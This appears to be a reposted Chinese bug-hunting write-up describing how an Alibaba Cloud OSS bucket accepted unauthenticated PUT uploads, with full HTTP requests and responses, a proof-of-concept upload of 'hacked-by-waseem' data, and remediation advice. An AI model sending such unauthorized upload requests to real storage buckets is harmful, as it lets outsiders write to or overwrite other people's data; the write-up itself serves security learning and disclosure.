第一步:识别目标
在随意浏览目标网站时,我遇到了一个 403 Forbidden 响应。
第二步:技术检测
我使用 Wappalyzer 浏览器扩展来分析目标所使用的技术。结果显示,该网站正在使用 阿里云对象存储服务(OSS)。
第三步:捕获请求
我启动了 Burp Suite,捕获了请求并将其发送到 Repeater。以下是捕获的请求:
GET / HTTP/1.1
Host: target.com
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
第四步:观察响应
我收到以下响应:
HTTP/1.1 403 Forbidden
Server: AliyunOSS
Date: Sat, 01 Feb 2025 12:33:50 GMT
Content-Type: application/xml
Content-Length: 366
Connection: keep-alive
x-oss-request-id: 679E14AEB630023931679926
x-oss-server-time: 18
x-oss-ec: 0003-00000905
<?xml version="1.0" encoding="UTF-8"?>
<Error>
<Code>AccessDenied</Code>
<Message>The bucket you access does not belong to you.</Message>
<RequestId>
第五步:测试 PUT 方法
由于收到 403 Forbidden 响应,我决定测试是否允许 PUT 请求。我对请求进行了如下修改:
PUT /poc.json HTTP/1.1
Host: target.com
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Length: 32
{"id": "hacked-by-waseem"}
第六步:收到 200 OK 响应
令我惊讶的是,我收到了 200 OK 响应,这表明我的数据已成功上传!
HTTP/1.1 200 OK
Server: AliyunOSS
Date: Sat, 01 Feb 2025 12:38:20 GMT
Content-Length: 0
Connection: keep-alive
x-oss-request-id: 679E15BC51C5F932386122A0
ETag: "1650257635488786160B4C064076B0A1"
x-oss-hash-crc64ecma: 14149601074129124870
Content-MD5: FlAldjVIh4YWC0wGQHawoQ==
x-oss-server-time: 25
第七步:验证数据访问
随后,我尝试访问上传的 poc.json 文件,并成功检索到了存储的数据。
结论
阿里云对象存储服务(OSS) 的此类错误配置允许未授权用户上传数据,可能导致严重的安全风险,例如:
未授权的数据存储
覆盖敏感文件
潜在的数据泄露
建议
为了防止此类漏洞,应采取以下措施:
1.限制公共访问: 确保只有经过身份验证的用户才能上传数据。
2.正确配置 ACL(访问控制列表): 仅授予授权用户适当的权限。
3.监控日志: 定期检查日志,检测未授权的 PUT 请求。
4.启用身份验证: 对所有云存储操作强制要求身份验证。
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):一次OSS存储桶的任意数据上传挖掘
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论